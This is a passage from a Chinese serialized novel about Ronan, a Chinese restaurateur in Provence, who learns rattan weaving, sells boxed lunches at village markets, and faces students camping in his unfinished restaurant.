“你哪天走?” 罗南斟酌了好一会: “以我的学习进度,最多5天就可以离开了。” 这已经是极限,罗南明天就想离开了。 赫黛利五官挤到一起,声音尖锐起来: “5天?” 罗南平摊双手: “那些藤条在我的手里也像猫咪一样听话。” 赫黛利对佐伊男朋友的印象多了一个——这家伙挺幽默的。 早知道罗南是这个态度,她根本不会冒着生理不适和那个该死的巴蒂说话。 赫黛利决定,晚一点要和佐伊通个电话。 她和佐伊对用‘玩玩’的心态学手艺的人印象都不太好。 赫黛利想问一问大学最好的同学,是否看清自己男朋友的全部了呢? 不能因为这个家伙长得不错就降低标准啊 赫黛利正想着这些,听到院外传来巴蒂热情的嗓音: “赫黛利,你又漂亮了!” 赫黛利无奈的扶了下额头,崩溃的问: “你怎么又来了?” 一抬头,她发现巴蒂居然不是自己来的,在他身边还有好几个女孩,而且这些人赫黛利还都认识,全部是住她家附近做艺术的。 巴蒂指着罗南,给身边的女士、小姐们介绍: “就是他!我说的那个天才!没有骗你们吧?瓦朗索勒来了一个帅小伙儿艺术家!!” 巴蒂身边的女人们用探究的眼神上下打量罗南。 有的疑惑皱眉,似乎不太满意;有的眼神迟疑犹豫,难下决断;有的已经笑着对罗南走来了。 巴蒂得意的对罗南挑了下眉毛。 这么多不同类型的女孩还留不住你吗?! 现在换做罗南崩溃了。 我真谢谢你啊巴蒂! 赫黛利是佐伊的大学同学.你想让我死在瓦朗索勒吗? 而赫黛利仅用一句话便轻松化解了罗南的生死危机。 她也指着罗南给那些女士、小姐们介绍: “他是佐伊的男朋友。” 性格热情的女孩们脚步更快了、态度迟疑的女孩也不迟疑了、觉得罗南没长在自己审美点上的挑剔女士也露出了笑脸。 她们把罗南团团围住,七嘴八舌的问: “佐伊怎么没一起来呢?” 罗南彻底懵了。 佐伊那么有名了吗? 巴蒂小跑过来,举着红葡萄酒说: “边喝边聊!” 赫黛利抵触的说: “我不喝红葡萄酒。” 其他几个女生和赫黛利的反应差不多: “巴蒂,你就别妄想加入我们的聚会了,拿着你的红葡萄酒离开吧,我们只喝粉红酒。” 巴蒂嬉皮笑脸的说: “忘记你们女艺术家有自己的‘流行艺术’了,等着,我去买两瓶。” 罗南比巴蒂还热情的说: “我去买,大家坐下好好聊聊!” 粉红酒什么时候成女艺术家的‘流行艺术’了?? 罗南本就想感谢赫黛利的帮忙,又发现了和粉红酒有关的新线索,阔绰的再次请了客。 带着酒回来的时候,巴蒂正在添油加醋的说自己的‘教师’水平多么多么的高超,教育出了一个藤艺编织的天才。 赫黛利半信半疑的问: “巴蒂说的是真的?你真学的那么快?” 罗南摇头: “不是我学的快,是巴蒂教的好,他耐心又尽责。” 巴蒂感激了看了一眼罗南,主动给他道酒: “你女朋友是佐伊啊?” 伙计,这么关键的信息你怎么不告诉我呢? 罗南笑着说: “我以为你知道。” 巴蒂难道的正经起来: “如果知道我肯定会主动和你提的,佐伊是最近普罗旺斯艺术圈出现最多的一个名字。” 赫黛利拿着酒杯说: “现在艺术环境艰难,不复以前的辉煌,新艺术家想要熬出名堂太艰难了所以有哪个新艺术家‘横空出世’,会得到非常多的目光关注。” 其他几个女孩也纷纷表达了她们对佐伊的祝贺和羡慕,希望罗南能够帮忙转达。 夸佐伊比夸自己还让罗南开心,他的嘴角始终没有落下: “我会替大家转达的。” 见大家的杯子里都倒上了粉红酒,罗南问她们: “你们都很喜欢粉红酒?” 赫黛利和几个女孩互看了一眼: “是的,我们都只喝粉红酒。” 罗南喝了一口粉红酒: “我也是,我在卢尔马兰只喝粉红酒,不过我是因为要卖粉红酒,你们是因为什么?” 罗南身边唯一一个对粉红酒‘情有独钟’的就是佐伊。 而佐伊也是搞艺术的。 这其中有什么联系吗? 赫黛利耸肩: “说不出来为什么,不知从什么时候开始,聚会上大家都只喝粉红酒了。” 巴蒂回忆着说: “很多艾克斯官方组织的艺术家聚会上会供应粉红酒,粉红酒在艾克斯的出现频率比在尼斯还高。” 赫黛利思索了一下: “你这样说我也想起来了,我好像也是在艾克斯爱上粉红酒的,瓦朗索勒没什么人喝粉红酒。” 赫黛利旁边的女孩开口说道: “我不是在艾克斯爱上的,只是那些酒评人越诋毁粉红酒,我对它越有兴趣。” 另一个女孩嗤之以鼻的说: “那些‘冥顽不灵’的家伙只会拿文化和底蕴说事情,像不像对我们作品品头论足的‘专业人士’?他们一样的令人讨厌。” 罗南默默听着这帮艺术家的发言,没有说什么。 艺术和粉红酒这两种东西居然能联系到一起? 他若有所思的盯着面前的粉红色液体看了许久。 似乎抓到了什么关键信息。 第192章 干就完事了! 巴蒂给罗南精心设计的‘美人计’,因为罗南佐伊男朋友身份的缘故,变成了一场行业讨论会。 大家一边喝酒,一边说着各自在艺术道路上的艰辛和那些痛苦黑暗的日子,并暗自发誓要在这条道路上坚定不移的走下去。 罗南作为家属代表,给她们送去了鼓励和贴心的建议——坚持固然可贵,但不要一意孤行。 我们家佐伊在这一点上做的就特别好,就是太累了,要追求艺术又同时要兼顾生活,辛苦的不得了,我心疼死了。 总之,罗南三句不离佐伊的名字,化身为了头号‘粉丝’。 当天晚上,赫黛利还没来及给佐伊打电话,佐伊的电话先打来了。 “罗南今天过得怎么样?” 佐伊不知道巴蒂家的电话,关心罗南只能打到赫黛利这里。 赫黛利拿老同学打趣: “一天不见就开始想他了?” 佐伊没有说不,只是继续问: “他学的还顺利吗?” 赫黛利笑着说: “顺利,非常顺利,你是天才,找了个男朋友也是天才我真是服了你了。” 待赫黛利讲完巴蒂对罗南的评价,和罗南的学习进度后,佐伊半信半疑的问: “真的假的?你不是说好听的逗我开心吧?” 罗南居然有编织的天赋? 我怎么没发现过呢. 赫黛利装作生气的说: “我有那么无聊吗?不信算了,不说了不说了,我要去你给你男朋友做椅子了。” “那你去忙吧,我也去填料了。”知道罗南没有出什么意外佐伊就放心了。 挂电话前,赫黛利又说了一句: “佐伊,你找了一个非常不错的男朋友.祝贺你。” 性格好,长相佳,理解女朋友所做的事业,还很爱她.佐伊‘等’了这么多年,完全是值得的。 佐伊的声音里带着明显的笑意,和下午罗南提到佐伊时的语气一样: “谢谢你,赫黛利。” 接下来的几天,巴蒂没有再安排什么社交活动,认认真真的教罗南手艺。 他能看出罗南想早点回卢尔马兰,而且学的确实很快,那就没必要浪费时间了。 两个人在院子里一坐就是一整天,有的时候肚子咕咕叫了才停下休息一会。 “你不会感觉到饿吗?”罗南委屈的问,“我两个小时前就开始饿了,一直在等你。” 他们早上7点吃的早饭,现在都12点多了。 ‘老师’没有要停下的意思,做‘学生’的只能忍着,不过现在实在忍不住了,再不吃要晕倒了。 巴蒂甩了几下藤条: “当然会饿了,但现在还没有。” 罗南摇了摇头,走进厨房: “我做点简单的,很快就能吃了。” 十分钟后,罗南端着简易乡村三明治和油渍橄榄出来: “吃饭了。” 巴蒂没有抬头,依然在做着手里的东西。 那是他送罗南的‘毕业礼物’——一个藤编的葫芦,让罗南放到餐厅里。 罗南一连叫了三声,巴蒂才听到: “这么快吗?辛苦了!” 虽然嘴上说着,但手并没有放下那些藤蔓。 罗南咬了一口三明治,催促他: “先吃吧,吃完再做。” 巴蒂做东西太投入,院外的噪音丝毫不会给他造成困扰。 他似乎有一个可以控制的开关,投入到一件事后就会摒弃外界的一切信息,这个开关不止在工作的时候会打开,和女人说话的时候也会开启。 真是个奇怪的人。 巴蒂拿起三明治咬了一口,模糊不清的说: “我对吃东西没有什么欲望。” 对对对,你的欲望都给了其他方面.罗南腹诽了一句。 不过他还是关切的说: “你应该关注一下饮食健康,你太瘦了。” 罗南有合理的理由怀疑,巴蒂的‘病态感’和‘瘦得离谱’都是因为不规律饮食导致的。 他似乎也不怎么做东西吃,饿了就出去。 巴蒂无所谓的说: “饿的时候自然会吃饭,只不过我不经常饿。” 他似乎不想继续这个话题,问罗南: “你哪天离开?” 巴蒂已经教了罗南很多种编织方法和制作技巧,完全够应付开餐厅所需要的东西了。 也许今天就是分别的日子? 罗南想了一下: “明天吧,明天上午回卢尔马兰。” 巴蒂强颜欢笑的说: “其实今天下午我已经没什么可教你的了除非你想和我一起去看美女。” 罗南表情尴尬的反问: “这几天我没有耽误你吧?” 巴蒂紧张的解释: “没有,当然没有!你知道的,那些女孩们对我.也没有多热情,我只是觉得家里太安静了,但你在的这几天我过的很开心。” 罗南笑着说: “那我就再留一天。” 巴蒂的表情精彩起来: “下午我再带你认识几个‘朋友’?” 罗南几口就把三明治吃完了: “下午我去买点食材,晚上咱们做顿好的。” 这几天每次都是饿到不行才吃饭,做的东西以快为主,非常糊弄。 这不符合他‘餐厅老板’的身份。 而且罗南也想给巴蒂做一顿正式的晚饭,好好给他‘补一补’.巴蒂真的太瘦了。 “我跟你一起。”巴蒂兴致勃勃的说。 哪能顿顿让客人做饭啊? 罗南吓的连连摇头: “不不不,不需要,你还是去看美女吧。” 离别的伤感被罗南做的丰盛大餐冲淡了。 那一夜巴蒂和罗南开心的喝到凌晨,说梦想、说未来、说对彼此的真挚祝福。 这份‘师徒情’虽然短暂,但彼此都给对方留下了深刻的印象。 第二天一早,罗南离开了巴蒂的家,回程卢尔马兰。 巴蒂把藤编葫芦交给罗南: “祝你的餐厅生意红火,有机会我会去卢尔马兰看看的。” 罗南开心的接下礼物: “你如果来了卢尔马兰,我一定召集我所有的朋友们一起招待你。” 他知道巴蒂是一个爱热闹的家伙。 正好,罗南朋友多。 “美女吗?”巴蒂眼睛放光。 罗南呵呵笑道: “一群彪形大汉。” 巴蒂对罗南招手告别: “走吧,路上小心。” 罗南也举起葫芦对巴蒂招手: “我也给你留了礼物。” 巴蒂:“?” 巴蒂在厨房里找到了罗南给他留的‘礼物’——几道菜谱。 和礼物放在一起的还有一张小纸条: “当不感兴趣的东西和感兴趣的东西结合,会让世界大不同,我发誓只要你严格按照我给的配方做,一定可以找到愿意陪你吃饭的‘朋友’,希望你能爱上吃饭,也学会爱自己。” 巴蒂激动的挥了下骨瘦嶙峋的胳膊: “该死的罗南,刚走我就开始想你了!” 罗南只是离开了卢尔马兰5天,再回来就大不同了。 主街上出现很多发传单的人,原本荒凉的商业街上出现了不少游客——原来是他走的这段日子里,有好几个商铺开业了。 招商成功的9个店铺有4个都在这周开了业,这其中除了托马斯的石器店和2个卢尔马兰本村村民经营的店铺外,还有加布里埃尔的糖果商店。 听歌迪亚描述,罗南错过了糖果商店‘盛大’的开业仪式,据说加布里埃尔请来了许多普罗旺斯的大人物,气氛搞的比交钥匙那天还要热闹。 罗南不在意什么开业仪式,他关心的是更加实际的问题: “客流量怎么样?” 歌迪亚的店铺还没开业,她也说不清楚: “一会问问托马斯吧,他这几天看起来挺忙的。” 下午临近傍晚,托马斯终于有时间出来和朋友们聊两句了。 “卖的怎么样?”歌迪亚问。 托马斯摇了摇头: “不是特别好没有预期中的多。” 歌迪亚皱着眉毛问: “因为游客量减少了吗?” 普罗旺斯的游客大军会在8月底彻底离开这里,虽然现在还没到8月底,但也许也在逐渐减少了? 托马斯严肃的说: “恐怕和这个没有关系,卢尔马兰城堡和老教堂的游客并没有少太多,我分析主要问题还是商业街的名声没有打出去,很多游客没有过来。” 歌迪亚丧气的跺了下脚。 这周开业的托马斯生意都不太好,下周开业的她的店铺生意只会更差了。 罗南的脸色比歌迪亚还差。 8月份开业的都这样了10月份开业不是更惨喽? 回到家,罗南给加布里埃尔打了个电话,询问他的经营状况。 加布里埃尔说,开业当天的流量还可以,但那应该和他盛大的开业仪式有关,过了第一天之后的营业额都不太理想,他最近正在调整经营策略,以求改变现状。 挂了电话,罗南无奈的叹了一口气。 今天一天没有一个好消息,坏消息一个接一个的,搞的他的心情都开始沉重了。 看来指望外部流量是没有希望了,至少今年指望不上。 想要破局只能靠自己。 他戴上围裙,加入厨房里的罗天海和冯珍: “商业街上其他店铺经营的都不太理想,我们的希望都在‘盒饭’上了.这是咱们未来一个多月最重要的事情。” 罗天海头都不抬的笑着说: “其他人经营的理想咱们也要好好卖盒饭啊,别想那些,好好干自己的事就行了。” 冯珍语气轻快的说: “放平心态儿子,一个多月可以做很多事,说不能明天在卢尔马兰咱们就卖爆了!” 笑容终于再次爬上了罗南的脸庞。 家庭就是他最大的动力。 想那么多干什么? 干就完事了! 第193章 永远‘效忠\’罗南先生 上一周在梅纳村的集市上,罗天海首次尝试了给摊主推销盒饭的策略,效果还不错。 这一周,他们要第一次在卢尔马兰的集市上向摊主卖盒饭了。 罗南说,这个策略不分在哪里卖,要一直贯彻下去。 卢尔马兰的摊主也要吃饭啊。 但由于这里是罗南的主场,反馈效果比在梅纳村好太多了。 不到100个摊位里有30多个摊主找罗天海订了饭,罗天海送饭都送出汗来了。 不过在卢尔马兰卖了一圈后,罗天海有了一些新的感想: “盒饭的价格要不要调一下?如果能便宜一点,可能会卖的更好。” 其实罗天海的定价已经不算高了,最便宜的只需要20法郎一份,在集市上买一份乡村薄饼都要12法郎,盒饭有菜有肉的不比一张乡村薄饼实惠? 但还是有许多村民会觉得贵。 他们没有明说,可罗天海还是能从他们炙热的眼神和不断吞咽的口水看出来——大家都想尝尝,但不是每个人都舍得买。 “不是定价的原因。”罗南抽空和父亲探讨起了这个问题,“是卢尔马兰村民的收入太低了,我的锅包肉一份卖30多法郎,你看买的人少吗?” 罗南没听过任何一个游客抱怨他卖的锅包肉贵,听得最多的抱怨是——怎么又卖完了? 罗天海默默叹气: “好像是这么回事,上周在梅纳村我也没有发现这个现象。” 罗天海安慰父亲: “所以布兰科要‘振兴’卢尔马兰。” 卢尔马兰还是太落后了,各种方面的落后。 “别聊了,快来帮忙!”冯珍招呼罗天海过去,“这两个客人要看看盒饭。” 罗南的推销策略终于起效了。 上周在卢尔马兰,盒饭8点就摆出来了,到11点只卖出了300多法郎。 但今天当他的‘广告牌’立出去后,到现在11点已经卖出去将近20份,罗南没看具体赚了多少,但肯定是比上周要好。 而且这还没算摊主们买的那30多份呢。 罗南不求一次就卖爆,只要每周能看到进步就满足了。 客人和口碑是一点一点积累起来的,切勿着急,只要能持续看到‘希望’就是胜利! 罗南一家三口的心态都是如此。 虽然还没有达到‘火爆’的程度,但他们没有吝啬一丝热情。 罗天海每卖出一份盒饭,都会不厌其烦的对客人说: “我们在商业街开了一家中餐厅,10月份开业,如果觉得好吃,到时候可以去那里尝尝现炒出来的菜,比这个还好吃。” 冯珍在倒粉红酒的时候,也会笑容满面的和客人说: “我们要开餐厅了,在商业街上,明年如果还来普罗旺斯玩记得去尝尝啊。” 最会喊口号的罗南自然也更新了宣传语。 未来在卢尔马兰和梅纳村的集市上,一道独特且再也无法被复刻的叫卖声出现了: “先生、女士、小姐们,要尝一尝普罗旺斯的特色粉红酒吗?这种只能在普罗旺斯当地喝到的美酒搭配中国美食的味道是最佳的!10月份,吕贝隆的第一家中餐厅就要在卢尔马兰开业了!现在大家可以提前两个月尝尝它的味道,快来试试吧!” 平时周五的集市结束,三口人第一件事就是回家睡一觉。 明天还有梅纳村的集市,稍微休息一下要起来继续忙。 不过罗南今天没有回家休息,而是去了其他地方。 罗南在这个装修周期内一共要做40张桌子和40把椅子。 木材没有金属那么听话,机械一压就弯了,需要一个部位一个部位的切块打磨,即使罗南早在8月前就开始做,还有佐伊的偶尔帮忙时间压力依然很大。 再加上餐厅临近开业,可能会有很多突发情况发生,时间上没有保障,有些事情必须得找人帮忙了。 “罗南先生,您怎么来了?”亨利见门外的人又是罗南,意外的不得了。 他家很少来人,罗南这两周都来两趟了。 不过今天没有下雨啊? “丽莎她们在休息吗?”罗南指着屋内问。 亨利摇头: “没有,丽莎在帮她妈妈缝绣被。” 罗南点了下头: “进去说吧。” 亨利把自己家最干净的沙发让给罗南坐,并热情的招待他。 突然,亨利想到什么,歉意的说: “我家没有粉红酒。” 之后他对女儿说: “丽莎,去买两瓶粉红酒,要冰镇的!” 普罗旺斯人无论再贫穷,都会用最好的礼仪招待客人。 罗南阻止了丽莎出去,对亨利说: “我要说的事情和你们都有关系,留下一起听吧,我喝什么都行。” 亨利把杯子清洗了好几次,才给罗南倒酒: “您找我们什么事?” 罗南的到访让亨利一家非常局促,尤其是亨利的老婆约瑟芬,她粗糙的手一直在紧张的来回搓动着。 丽莎经常出门,和罗南也见过好几次。 但约瑟芬很少出门,每天全部的时间都用来缝绣被贴补家用,卢尔马兰许多年长的女性都是这样的。 罗南让自己的语气尽量轻松下来,没有什么压迫感: “我想给餐厅做一些‘中式’元素点缀,所以前一阵子出去学习了一门手艺,但我发现我没有那么多时间做完全部的事情.你们有兴趣帮我完成一部分吗?” 编织技能在餐厅里的应用有两个,一个是家具的改造,一个是饰品的点缀。 家具改造是在罗南已经做好的木椅框架外绑一层藤蔓,把木椅变成藤椅。 这个事情简单但费时,罗南想‘外包’出去,他第一个想到的就是亨利一家。 而他自己做更加复杂的饰品部分。 亨利听到赚钱的事情非常兴奋,不过一想到是一门新的手艺,有些迟疑的问: “那个手艺复杂吗?” 罗南笑着说: “很简单,我可以教你们,一个下午应该就可以学会了。” “多少钱呢.”丽莎小心翼翼的问。 罗南反问她: “你和你妈妈缝绣被是如何结算工钱的?” 丽莎声音微弱的像是蚊子一样: “图案是皮雷提供的,我们按照他要求的绣,每一床是300法郎,如果自己拿出去卖可以卖400法郎。” 罗南追问: “那你们做一床绣被需要多长时间?” 罗南见过村子许多缝绣被的老人,她们似乎没任何休息的时间,每天从早绣到晚。 丽莎看了一眼妈妈: “我刚开始绣,12天左右才能做完,妈妈只需要8-9天。” 罗南倒吸一口凉气。 12天赚300法郎? 上帝啊,怪不得卢尔马兰的村民那么穷呢。 他表情复杂的看亨利. 就这样,你还要每天去老酒馆喝两杯? 亨利似乎知道罗南在想什么,摁了一下帽子,嘴硬的说: “我每天最多只喝两杯,有的时候只喝一杯!” 这个情况应该不只出现在亨利身上,罗南也没有什么立场说他。 计算了一下时间和效率后,罗南用商量的语气问他们: “一天应该可以绑完一张椅子,我一共有40张椅子需要做这种处理,每一张给你们30法郎,接受吗?” 罗南给出的价格和她们缝绣被的日收入差不多。 他只是想给亨利家提供一些额外的收入来源,没有‘伟大’到扰乱市场价。 亨利想了一下就要直接答应下来。 这是罗南先生对他的器重,怎么能拒绝呢? 不过始终没有说过话的丽莎母亲约瑟芬,突然开口了: “可以先让我试一个吗?” 罗南微笑着说: “当然,当然可以。” 编织是一种很容易上手的手艺,尤其罗南的需求并不困难,只需要把木椅子变成藤椅而已。 约瑟芬的手的确粗糙,但却巧的不得了。 她只用了一个多小时就完全领悟了罗南教的东西,可以独立绑一把椅子了。 这情况看的罗南惊叹不已。 世界上的天才那么多吗? 如果把这件事告诉巴蒂,是不是可以打消他去艾克斯当大学老师了念头了呢? 亨利骄傲的说: “约瑟芬的手艺很好吧?她学什么都快,做的绣被比阿克尼娜的还好!” 康奈尔的母亲阿克尼娜一直是卢尔马兰绣被界的标杆人物。 大家说自己做的好时,都会把她搬出来做比较。 约瑟芬学着罗南的样子做好‘收口’后,起来拍了拍手: “熟练之后,一天绑两个没有问题,这个活儿我们可以接下来。” 一天60法郎,比做绣被的日收入高。 罗南笑着说: “两个不止吧,你们有三个人呢。” 你们完全可以一家人一起干啊,说不定一周就干完了,这不比缝绣被赚的多? 亨利埂着脖子说: “这些是女人们干的事情,我可不干!” 卢尔马兰只有一个男人敢‘光明正大’的缝绣被,那就是皮雷。 因为这件事那老小子没少被人挖苦和开玩笑。 皮雷也不会对那些人客气,经常编一些离谱的谣言打击报复,后来没人敢惹这个大喇叭了。 不过卢尔马兰的男人们还是很排斥被人知道自己干了类似绣被那种‘手艺活儿’,康奈尔在家里帮妈妈时都是偷偷摸摸的。 罗南指着自己说: “我也是女人?这是我特意从瓦朗索勒学来的手艺。” “我不是这个意思!”亨利没有什么文化,一时语塞,只是不停的给罗南道歉。 罗南语重心长的说: “赚钱的事儿都不丢人,你的思想该进步一些了亨利。” 亨利低头仔细琢磨了一阵子罗南说的话,突然把从不离身的船长帽重重的扔到地上,对老婆和女儿说: “约瑟芬、丽莎,我和你们一起干。” 罗南先生和村子里的那些人都不一样。 他让我这样做,一定有他的道理! 我会永远‘效忠’罗南先生的!! 第194章 恶魔低语 那之后罗南的餐厅里多出来三个新‘员工’,亨利一家每天都会早早的去‘上班’。 农夫们偶尔去餐厅找罗南,看到亨利笨拙的和藤蔓缠斗必须要拿他开几句玩笑。 不过亨利对这些人的话完全嗤之以鼻: “这是罗南先生对我的器重!等哪天我像罗南先生一样富有,你们就知道自己有多愚蠢了!” 罗南白天一整天都在餐厅,如果有人想找他说点什么正事,只能晚上去他家。 不过大家也很乐于晚上去罗南家。 罗南家的后院在晚上是最好看的! “再过两个月,晚上就不能出来喝酒了。”特奥靠在罗马柱下休息区的座椅上,语气和神态懒散的不得了。 罗南把手靠近面前的篝火: “现在已经有一点凉了。” 卢尔马兰在吕贝隆山区里,早晚温差大,现在白天依然炎热,但早晚的温度都不高了。 听说普罗旺斯的秋季非常短,有的时候只是睡一觉的功夫季节就完成了变换,罗南相信那一天不会太遥远了。 特奥伸了个懒腰: “卢卡斯下个月就要回来了。” 罗南笑着说: “终于要回来了?这个家伙离开半年了。” 特奥的红葡萄酒没了,拿起罗南的粉红酒给自己倒了一杯: “今年回来的早,平时都是11月才回来。” “可能在马赛待无聊了吧。”罗南拿了一颗特奥带来的杏。 4-6月吃樱桃,5-7月吃草莓,7-8月份吃杏只看家里的新鲜水果是什么,普罗旺斯人就知道现在是几月份。 特奥也吃了一颗: “卢卡斯说今年是‘寒冬’,松露10月份就有了。” 罗南没有说什么,默默吃东西。 他不知道什么‘寒冬’和‘暖冬’,只知道松露刚出现的那一个月成色不好,香气也不够浓郁,卖不上什么钱,11月份才是松露‘收获’的季节。 “最近要帮卢卡斯处理不少事,车借我开几天吧。”特奥没有什么情绪起伏的说。 在小乡村,朋友之间借东西很正常,没有什么不好意思的。 他找罗南借几天车,过一阵子罗南找他借几天枪,大家都是这样的。 罗南指了指房子: “一会你直接开走,但你之前开的那辆皮卡呢?” 特奥这个家伙不止嘴硬,还好面子,卢卡斯了解弟弟的性格,给他在卢尔马兰留了一辆美国皮卡车,特奥出去办重要事的时候都是开那辆车去的。 特奥对罗南举了一下杯,算是感谢了: “那辆车卢卡斯让人开去马赛了。” 罗南点点头,没有过多追问。 不一会,亨利拿着一个袋子兴冲冲的出现: “罗南先生!” 罗南拍了拍旁边的座位: “来,亨利坐。” 亨利没有坐下,而是打开袋子对罗南说: “约瑟芬让我给你送一点阿尔勒香肠,她母亲是阿尔勒人,这是最纯正的阿尔勒香肠做法。” 自从罗南给了亨利一家编织椅子的活儿干,她妻子就经常让亨利给罗南家送东西。 “替我谢谢约瑟芬。”罗南把头探过去,好奇的打量,“这就是大名鼎鼎的阿尔勒香肠?” 普罗旺斯人对香肠极其挑剔。 几个月前,罗南用从阿维尼翁买来的不知名香肠做三明治给卡福和他的伙计们吃。 卡福吃下第一口时露出了明显的厌恶的神情。 不过鉴于那个时候他们还不熟悉,卡福只是委婉的表达: “嗯,真是与众不同的三明治呢。” 这几个月罗南和卡福混熟了,那家伙有一次提起了这件事,挥舞着像树根一样的手臂,似乎想把那个时候的罗南捶死: “你用面包和奶酪配那种垃圾香肠,简直是浪费食物!” 后来,罗南知道普罗旺斯还有一个香肠的‘首府’——阿尔勒。 而且这个称号自1655年的7月7号就有了,有具体的典故故事,可以精确到天,甚至比卡瓦永‘甜瓜之乡’的称号还要早几百年。 据说在那一天,一名叫戈达的肉商创造了一种香肠配方,这份配方自那之后启发了阿尔勒一代又一代的香肠师傅。 其材料是猪肉和牛肉,以少许胡椒、丁香、肉蔻、姜和上好的葡萄酒调味,灌好后需风干数周,从外形看像一串可以吃的钟乳石。 当然了,这个配方是罗南闻出来的,只不过亨利带来的香肠里还有一味特殊的食材味道,罗南闻了许久都没有闻出来是什么。 这说明他没有吃过这东西。 “约瑟芬都在里面放了什么?”罗南更加用力的闻了几下,“似乎有一味特殊的食材?” 特奥也凑过来闻,闻到脑缺氧了都没有闻到罗南说的‘奇怪食材’味道: “这不就是普通的阿尔勒香肠吗?” 亨利嘿嘿笑了几声,红色跳跃的篝火映射到他狰狞恐怖的脸上,似乎是纹上了代表恶魔的印记,小孩子看到了一定会做噩梦的那种。 恶魔低语: “这里面还放了一种特殊的肉。” 罗南不自觉的紧张起来。 如果这场景在电影里出现,下一句台词大概是‘人肉’吧? 特奥不耐烦的抱怨: “什么东西神神秘秘的?” 亨利龇着牙说: “约瑟芬在里面放了一点驴肉,这会让它的味道更加美味和迷人。” 罗南没说什么,特奥直接跳起来了: “你怎么能吃驴?!” 安娜最喜欢驴,特奥为此还买了两头驴养在家里。 即使葡萄园干了,特奥也不会忘记给驴喂水喂粮。 亨利不屑一顾的哼了一声: “这是最纯正的阿尔勒香肠做法!必须要加驴肉。” 特奥指着亨利的鼻子骂: “驴的眼神那么动人,还会做表情,你怎么能拿它们灌肠呢?那是我们的家人啊你是魔鬼!” 亨利的气势丝毫不弱: “约瑟芬用的是贝里大黑驴,不是普罗旺斯驴,我没有用我们的家人!” 在搬到普罗旺斯前,罗南从来没有研究过驴。 但朋友们有不少养驴的,他家也有一个废弃的驴棚,不知不觉就积累了许多和驴有关的知识。 法国有十几种驴,而且每一种都有其明显的特征和性格。 普罗旺斯当地的驴就叫普罗旺斯驴,个子比其他品种小不少,但脚却格外大,灰色的毛皮深浅不一,非常好看。 罗南近距离观察过安娜的两头小驴,它们有颇具特色的白眼圈,肩部到脊柱处有一个明显的十字纹,即圣安德烈十字纹,喂它的时候还会‘微笑’,的确很可爱。 亨利应该也是考虑到了这一点,食用的是‘外村驴’。 他连外乡人都不待见,吃外地驴更没有什么心理负担,不过特奥完全接受不了这件事,一看到驴就想到女儿安娜。 如果安娜知道她最喜欢的小动物被人拿来吃了,一定会哭晕过去的。 “你知不知道在18世纪,杀驴是犯法的?狗***的亨利,你应该下地狱!” 亨利唾沫横飞的说: “你也知道那是在18世纪!现在是20世纪了狗***的特奥,你想打架吗?” “打啊!你以为我怕你吗?” “来啊!我早就看你不顺眼了!” 罗南在中间用尽全身力气劝架,身体快被摇散了。 上帝啊,这两个人怎么一见面就火药味这么浓? 正在后院乱作一团之际,小胖子康奈尔出现了。 罗南求助的喊: “快过来帮我拦下他们!” 康奈尔一边帮罗南拉开两个人,一边焦急的说: “罗南,快去你的餐厅看看吧,出事了!” 特奥和亨利同时放开了对方,举着拳头问康奈尔: “出什么事了?” 罗南从家里出来时身边只有3个人,但当他走到商业街的餐厅,身边已经跟着二十多个兄弟。 他们都是听到或看到消息,跑去通知罗南时在半路加入进来的本地村民。 通过这些人你一句我一句的描述,罗南明白了现在的状况。 以前卢尔马兰只是游客们的途径点,看一看当天就会离开,不会留宿。 但今年政府的引流使得游客数量激增,想要在这里过夜的人变多了,但卢尔马兰可以住宿的地方很少,只有4家家庭旅店,接待不了多少人。 还有些游客压根就不想找住宿的地方,他们来吕贝隆就是为了郊外露营。 而卢尔马兰这个没那么火爆,但又有一点热度的小村庄成了他们的最佳露营地。 但吕贝隆山区有野兽出没,政府并不鼓励游客这样做,在很多野外都会有‘禁止露营’的提示牌。 那么游客只能想其他办法。 今天几个大学生看上了罗南餐厅的二楼和三楼,把帐篷搭到了那里,还不要命的在里面点起了‘篝火’,美其名曰在假期的尾巴好好狂欢一下。 村民们看到了当然不同意啊,马上进入制止。 但那些大学生嚣张的不像样,他们只能去把罗南喊来。 餐厅门口,老大哥皮埃尔已经带着一群农夫把那几个大学生围住。 罗南刚走到博物馆门口就听到那边的吵架声了。 “我们是来卢尔马兰消费的,但这里没有住的地方,难道要让我们露宿街头?我们只是想找一个安全的地方过夜,你们这帮粗鲁的家伙是想把游客赶出卢尔马兰吗?” “但你们不该擅闯民宅!这里是私人的地方,尤其你们还在里面生火!”皮埃尔的声音里充满了愤怒。 “那里面什么都没有,能烧起来什么?我们是有素质的城市人,离开的时候会把那里收拾干净的。”陌生的嗓音里满是不屑。 “该死的皮埃尔,和这种狗***费什么话?”特奥挥舞着拳头冲进人群,被康奈尔和法比安拦下。 亨利狠狠啐了一口,差点吐那些大学生的脸上: “滚出罗南先生的房子!滚出去!!” “你们要打人吗?”几个大学生用尖锐的嗓音咆哮,“我要去投诉,投诉你们这些粗鄙的家伙!我们要告到沃克吕兹省旅游局!!” “够了!”罗南大声喝止了这场混乱。 他面色阴沉的穿过人群,走到那几个胡闹的大学生面前。 这些家伙太可气,罗南今天必须要给他们一个教训。 他只是在思考,明天要如何和布兰科解释他给卢尔马兰的旅游业‘蒙羞’了。 大学生是政府最‘反感’的群体,他们颠倒黑白本事养活了无数八卦杂志,而且非常善于利用各级政府之间的关系。 可以预见,这几个家伙一定会把这件事宣扬出去,说不定明天普罗旺斯当地电台就要播报卢尔马兰‘欺负’游客的消息。 “罗南,我们人多,你在怕什么?”特奥被人死死的抱着,却还不忘给罗南‘出谋划策’。 罗南刚想开口,身后又出现了一道声音: “等一下。” 围观的人群自动分开一条缝隙,穿着居家服的布兰科出现在大家身后。 能看出他来的匆忙,睡衣的扣子都系歪了。 罗南的面色更阴沉了。 布兰科肯定不希望这里发生冲突,那会破坏他苦苦经营了几个月的卢尔马兰‘形象’,所以他是来‘安抚’我的? 村民们看布兰科的眼神同样不太友好。 他们不相信和蔼的村长是来帮他们出气的,这家伙见谁都是笑呵呵的,从来没见发过脾气。 所以要用村长的职位逼我们咽下这口气吗? “谁来都没用!”亨利把帽子扔出去老远,完全不给布兰科面子,“这些人张口闭口‘粗鄙’的家伙,我绝不会轻易放过他们!!” 布兰科路过罗南时,轻声说了一句: “交给我处理吧。” “皮埃尔。”布兰科声音不算多大的喊了一句。 皮埃尔皱起眉头,脸色阴沉的看布兰科。 布兰科指着罗南餐厅里的几个大学生说: “找几个兄弟把那几个‘城里人’请出去,如果不配合就让他们看看‘粗鄙’乡下人的力气。” 皮埃尔愣了好几秒才痛快的说了一句“好”。 